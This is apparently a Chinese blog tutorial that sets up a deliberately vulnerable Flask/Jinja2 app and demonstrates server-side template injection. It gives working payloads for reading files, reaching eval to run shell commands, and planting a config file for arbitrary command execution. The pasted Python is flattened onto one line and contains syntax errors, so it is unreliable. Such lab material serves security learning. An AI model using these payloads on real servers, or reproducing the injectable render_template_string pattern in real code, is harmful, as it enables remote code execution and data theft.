ssti是什么就不说了,google/百度一下。
使用python2,环境配置:
pip install jinja2
pip install flask
pip install virtualenv
目录下放一个run.py文件和一个templates文件夹,templates文件夹内要有一个index.html。
run.py:
注意不要忘记第一行的# -*- coding: utf-8 -*-导致编码错误
# -*- coding: utf-8 -*- #python2.7 import jinja2 from flask import Flask,render_template render_template_string flash redirect url_for request app = Flask(__name__) app.config.from_object(__name__) app.config['SECRET_KEY'] = "password:123456789" @app.route('/') def index(): return render_template('index.html') @app.route('/check',methods=['POST' 'GET']) def check(): if request.method == 'POST': name = str(request.form['name']) template = u''' <center> <p>你好 %s 欢迎来到我的页面</p> <a href="/">点这里退出</a> </center> ''' % (name) return render_template_string(template) @app.errorhandler(404) def page_not_found(e): return render_template('404.html'),404 if __name__ == "__main__": app.run()
index.html:
<!DOCTYPE html> <html lang="en"> <head> <title>{% block title %}test pages{% endblock %}</title> </head> <body> <center> <p>请输入你的昵称</p> <form method="post" action="/check"> <p> <input type="text" name="name" required> </p> <br> <p> <input type="submit" name="submit" value="Submit"> </p> </form> </center> </body> </html>
然后python ./run.py启动服务,访问http://127.0.0.1:5000/。(如果端口冲突就换一个端口)
简单的一个页面,只有一个post表格
使用{{2 * 2}}测试一下
显然这里存在ssti
输入{{''.__class__.__mro__}}
通过{{''.__class__.__mro__[2]}}获得基类型object,然后使用{{''.__class__.__mro__[2].__subclasses__()}}获得大量可访问类
整理一下(可以用replace“, ”为“回车(ctrl+回车)”)
可以找到大量的可用类,比如下标为40的file
可以用这个类来读写文件
假设当前目录下有个test.txt
输入{{ ''.__class__.__mro__[2].__subclasses__()[40]('./test.txt').read() }}
不过对我们来说,如果能执行任意命令是坠吼的。
执行任意命令的方法有很多种。
比如
使用下标为58的 class 'warnings.WarningMessage'
通过
{{''.__class__.__mro__[2].__subclasses__()[58].__init__.__globals__['__builtins__']}}
来获得内置函数eval,exec等
这样就可以执行任意命令,比如
{{''.__class__.__mro__[2].__subclasses__()[58].__init__.__globals__['__builtins__'].eval("__import__('os').popen('pwd').read()")}}
来执行pwd命令
其中
__globals__是这样解释的:
__globals__: A reference to the dictionary that holds the function’s global variables — the global namespace of the module in which the function was defined. [Read-only]
所有的函数都会有一个__globals__属性,它会以一个dict的形式,返回函数所在模块命名空间中的所有变量
__init__是构造函数,不用多说
这样就可以通过
再比如
config是Flask模版中的一个全局对象,它代表“当前配置对象(flask.config)”,是一个类字典的对象.它包含了所有应用程序的配置值。在大多数情况下,它包含了比如数据库链接字符串,连接到第三方的凭证,SECRET_KEY等敏感值。查看这些配置项目,只需注入{{ config.items() }}有效载荷。
config有一种方法from_pyfile,以下为from_pyfile方法的代码:
def from_pyfile(self, filename, silent=False): """Updates the values in the config from a Python file. This function behaves as if the file was imported as module with the :meth:`from_object` function. :param filename: the filename of the config. This can either be an absolute filename or a filename relative to the root path. :param silent: set to `True` if you want silent failure for missing files. .. versionadded:: 0.7 `silent` parameter. """ filename = os.path.join(self.root_path, filename) d = imp.new_module('config') d.__file__ = filename try: with open(filename) as config_file: exec(compile(config_file.read(), filename, 'exec'), d.__dict__) except IOError as e: if silent and e.errno in (errno.ENOENT, errno.EISDIR): return False e.strerror = 'Unable to load configuration file (%s)' % e.strerror raise self.from_object(d) return True
以及其中用到的from_object:
def from_object(self, obj): """Updates the values from the given object. An object can be of one of the following two types: - a string: in this case the object with that name will be imported - an actual object reference: that object is used directly Objects are usually either modules or classes. Just the uppercase variables in that object are stored in the config. Example usage:: app.config.from_object('yourapplication.default_config') from yourapplication import default_config app.config.from_object(default_config) You should not use this function to load the actual configuration but rather configuration defaults. The actual config should be loaded with :meth:`from_pyfile` and ideally from a location not within the package because the package might be installed system wide. :param obj: an import name or object """ if isinstance(obj, string_types): obj = import_string(obj) for key in dir(obj): if key.isupper(): self[key] = getattr(obj, key) def __repr__(self): return '<%s %s>' % (self.__class__.__name__, dict.__repr__(self))
from_pyfile会将指定路径文件的大写属性(注意,必须是大写,见from_object第27行)导入到config对象中。
所以可以这样操作,首先利用之前提到的file类写一个文件
{{ ''.__class__.__mro__[2].__subclasses__()[40]('cmd', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
成功写入。
其中check_output参数如下
check_output(args, *, stdin=None, stderr=None, shell=False, universal_newlines=False)
作用是建立一个子进程,子进程执行args中的命令,并将其输出形成字符串返回。
然后调用from_profile将刚才写的文件中的大写变量作为属性写入config
{{config.from_pyfile('cmd')}}
重新查看{{config}},发现成功插入
然后就可以执行任意命令, 比如
{{config['RUNCMD']('ls')}}
参考文章:
http://www.freebuf.com/articles/web/98619.html
http://www.freebuf.com/articles/web/98928.html
https://uuzdaisuki.com/2018/05/28/SSTI%E6%9C%8D%E5%8A%A1%E5%99%A8%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/
https://blog.csdn.net/qq_27446553/article/details/79379136